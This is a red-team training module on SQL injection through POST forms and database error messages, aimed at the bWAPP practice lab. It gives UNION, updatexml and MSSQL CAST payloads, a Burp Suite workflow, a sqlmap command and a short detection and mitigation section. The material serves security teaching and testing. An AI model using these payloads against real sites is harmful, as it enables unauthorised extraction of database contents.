📕 FIELD MANUAL 1.2: POST & ERROR-BASED EXFILTRATION INJECTION
Objective: Injection in forms (Login/Search) and data exfiltration through database engine error messages.
Classification: RED TEAM EYES ONLY
Objective: Injection in forms (Login/Search) and data exfiltration through database engine error messages.
Targets bWAPP: SQL Injection (POST/Search), SQL Injection (POST/Select).
MITRE ATT&CK: T1190, T1059.006.
1. INTEL & RECON: THE VECTOR CHANGE
Sección titulada «1. INTEL & RECON: EL CAMBIO DE VECTOR»Tactical Difference (GET vs POST)
Sección titulada «Diferencia Táctica (GET vs POST)»- GET: The payload is visible in the address bar (
id=1' OR 1=1). Easy to share, easy to log by the Blue Team. - POST: The payload travels inside the HTTP packet body.
- Offensive Advantage: Not recorded in basic web access logs (only the URL is logged, not the body).
- Requirement: We need tools like Burp Suite or browser extensions (Hackbar) to comfortably manipulate the request.
Vulnerable Scenario
Sección titulada «Escenario Vulnerable»Typical PHP code behind a search or login:
// El input viene del cuerpo, no de la URL$movie = $_POST['title'];$sql = "SELECT * FROM movies WHERE title LIKE '%$movie%'";2. WEAPONIZATION A: CLASSIC POST INJECTION (UNION)
Sección titulada «2. WEAPONIZATION A: INYECCIÓN POST CLÁSICA (UNION)»If the application displays results on the screen (e.g., a list of movies), we will use the same logic as in GET (UNION SELECT), but encapsulated in POST.
Procedure with Burp Suite
Sección titulada «Procedimiento con Burp Suite»- Intercept: We will enable the Proxy in Burp and submit the form in bWAPP.
- Repeater: We will send the captured request to Repeater (
Ctrl + R). - Injection: We will modify the last line of the request body.
Original Payload:
POST /bWAPP/sqli_6.php HTTP/1.1...title=Iron Man&action=searchCrafted Payload (MySQL):
title=Iron Man' UNION SELECT 1, user(), database(), 4, 5, 6, 7 -- -&action=searchNote: We will observe that we close with -- - to comment out anything that follows in the original query.
3. WEAPONIZATION B: ERROR-BASED SQL INJECTION
Sección titulada «3. WEAPONIZATION B: ERROR-BASED SQL INJECTION»Situation: We inject ' and see an error: *You have an error in your SQL syntax...*.
Problem: When we use UNION SELECT, the application DOES NOT show the results on screen (perhaps it only says “Search completed” or it is blind).
Solution: We will force the database to “shout” the data we want to us within the error message itself.
Technique 1: XML Exfiltration (MySQL / MariaDB)
Sección titulada «Técnica 1: XML Exfiltration (MySQL / MariaDB)»We will abuse functions that parse XML (UpdateXML or ExtractValue). We will pass an invalid XPath query that contains our target query. The engine will fail and show us the query result in the error.
-
Payload Structure:
AND updatexml(rand(), concat(0x3a, (TU_QUERY_AQUI)), null)(0x3a is a colon:to separate the error from the data). -
Payload to extract Version:
Iron Man' AND updatexml(rand(), concat(0x3a, (SELECT version())), null) -- -- Expected result (Error):
XPATH syntax error: ':10.4.2-MariaDB' - Bingo! We have extracted the version within the error.
- Expected result (Error):
-
Payload to extract Tables (Limited to 32 chars): WATCH OUT!
UpdateXMLonly shows 32 characters. We must useLIMITandOFFSETorSUBSTRING.Iron Man' AND updatexml(rand(), concat(0x3a, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)), null) -- -
Technique 2: Conversion Casting (Microsoft SQL Server)
Sección titulada «Técnica 2: Conversion Casting (Microsoft SQL Server)»In MSSQL, we will attempt to convert a string (varchar) to an integer (int). SQL Server will fail and tell us: “Could not convert [THE SECRET DATA] to int”.
-
Payload:
Iron Man' AND 1 = (SELECT CAST(@@version AS INT)) -- -
Result (Error):
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2019...' to data type int.
4. AUTOMATION: SQLMAP FOR POST
Sección titulada «4. AUTOMATION: SQLMAP PARA POST»SQLMap will handle POST automatically with the --data flag.
Attack Command:
sqlmap -u "http://bwapp/sqli_6.php" \ --data="title=Iron&action=search" \ --cookie="PHPSESSID=..." \ --technique=E \ --banner-data: We will define the body parameters.-technique=E: We will force the use of Error-Based only (useful to practice this technique specifically; otherwise, sqlmap will try UNION first).
5. ESCALATION AND RED TEAM OPERATIONS
Sección titulada «5. ESCALADA Y OPERACIONES DE RED TEAM»Error-Based Limitations
Sección titulada «Limitaciones de Error-Based»The Error-Based technique usually has a length limit (for example, 32 characters in old MySQL). We cannot perform a massive GROUP_CONCAT all at once.
Escalation Tactic (Looping):
If we automate this (with Python or Burp Intruder), we must iterate using LIMIT.
LIMIT 0,1-> Table 1LIMIT 1,1-> Table 2LIMIT 2,1-> Table 3
Double Query (Double Query Injection)
Sección titulada «Doble Query (Double Query Injection)»If UpdateXML is blocked, an old but effective technique in MySQL is to use count(), group by, and rand() to force a “Duplicate entry” error.
- Concept: It is complex to write by hand, making it ideal to let SQLMap handle it or to have prepared snippets.
6. PURPLE TEAM PERSPECTIVE (DEFENSE)
Sección titulada «6. PERSPECTIVA DEL EQUIPO PURPLE (DEFENSA)»🕵️ Detection
Sección titulada «🕵️ Detección»- Database Error Logs: The Blue team must monitor internal MySQL/SQL Server logs, not just those of the web server. A spike in
XPATH syntax errororConversion failederrors is a 100% certain signature of an Error-Based attack. - WAF (Web Application Firewall): WAF rules usually look for keywords such as
UNION,SELECT,updatexmlin the POST body. - Header Length: Sometimes automated injectors send strange HTTP headers or inconsistent User-Agents.
🛡️ Mitigation
Sección titulada «🛡️ Mitigación»- Suppress Database Errors: We will configure the web server (PHP/IIS/Apache) to display generic error messages (“An error occurred”) instead of the detailed database error (
Verbose Error).- In PHP:
display_errors = Off. - This kills the Error-Based technique (converting it into Blind SQLi, which we will see in Phase 3).
- In PHP:
- Parameterized Queries: (As always, the root solution).
Status: Module 1.2 Completed. Next step: Phase 2 - Authentication Bypass (Hacking Logins without extracting data).

